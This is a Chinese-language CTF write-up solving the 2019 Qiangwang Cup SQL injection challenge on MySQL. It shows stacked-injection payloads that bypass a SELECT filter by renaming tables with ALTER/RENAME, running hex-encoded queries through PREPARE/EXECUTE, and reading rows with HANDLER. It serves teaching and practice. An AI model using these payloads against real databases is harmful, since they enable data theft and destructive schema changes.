堆叠注入之 SELECT 被过滤后的注入思路
!!! 针对 MySQL !!!
正常语句: select id from users where id='1'
堆叠注入: select id from users where id='1'; select 'inject'
堆叠注入就是通过闭合破坏上下文从而在新的一行执行语句
堆叠注入的一个用途就是他可以使用 alter
, rename
等等命令
题目
这是一个 2019 年的题目: 强网杯随便注
在这里可以搜索到: https://buuoj.cn/challenges
解题思路
输入 1
后可以看到有对应信息返回, 有两列
再闭合单引号看看注点
输入 1' or 1=1 #
, 发现闭合了, 返回了表中所有的数据
然后自然就是尝试 union select
, 但是发现他过滤了 select
:
这里就要寻找另一种思路了, 首先明确一点我们目前是要先找出所有的表, 看表中的列名是否有 flag 相关信息
于是就尝试 show
进行堆叠, 输入 1';show tables#
可以看到只有两张表, 那么很显然正常情况下查的是 words
这个表, 那么另一个全是数字的很有可能就放了 flag
输入:
1';show columns from `1919810931114514` #
看到 flag 了, 现在任务就是从这个表里面将 flag 的值拿出来, 但是有一个问题就是 select
被过滤了, 该如何拿
实际上在做这道题的时候, 我首先想到的是 16 进制绕过, 后来看到网上有三种思路: 重命名代码利用, 16 进制动态 SQL 执行, 使用 handler
命令
代码利用
通过 1';show columns from words #
我们确认了, 这个表有两列: id 和 data
通过输入的数据和返回的数据, 很容易猜测出后端 SQL 为: select id from words where id='$id'
于是我们就可以通过 alter
, 和 rename
来修改表名以及字段名, 把保存 flag 的表名修改成 words
, 并且把列名改为 id
, 这样就可以利用后端代码把 flag 提取出来
具体的语句:
1';alter table words rename w;alter table `1919810931114514` change flag id varchar(100);alter table `1919810931114514` rename words;#
需要注意的是, 这里把列 flag 修改成 id 不让语句报错就可以了, 当然也可以把保存 flag 的表改成和 words
一样的结构
然后通过输入 1' or 1=1#
就可以拿到 flag 了
动态 SQL 执行
这里就利用了 MySQL 的一个特性, 它可以动态的编译一条语句并执行, 且支持 16 进制
我们直接把下面的语句进行 hex 编码:
select flag from `1919810931114514`
编码后:
0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460
payload:
1';SET @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare esql from @a;execute esql;
解释:
- SET @a=0x73: 设置一个用户变量 a
- prepare esql from @a: 准备一个名为 esql 的预处理语句, 内容从用户变量 a 中获取
- execute esql: 执行准备好的名为 esql 的语句
Handler 命令
handler
命令可以直接操作数据库表中的行, 通常用于高效读取和处理大量数据的行
payload 如下:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
解释:
- handler xxx open as a: 打开 xxx 表并将其分配给一个句柄 a
- handler a read next: 从句柄 a 中读取下一行
收获
- alter, rename
- 动态 SQL 执行
- handler 读取一行数据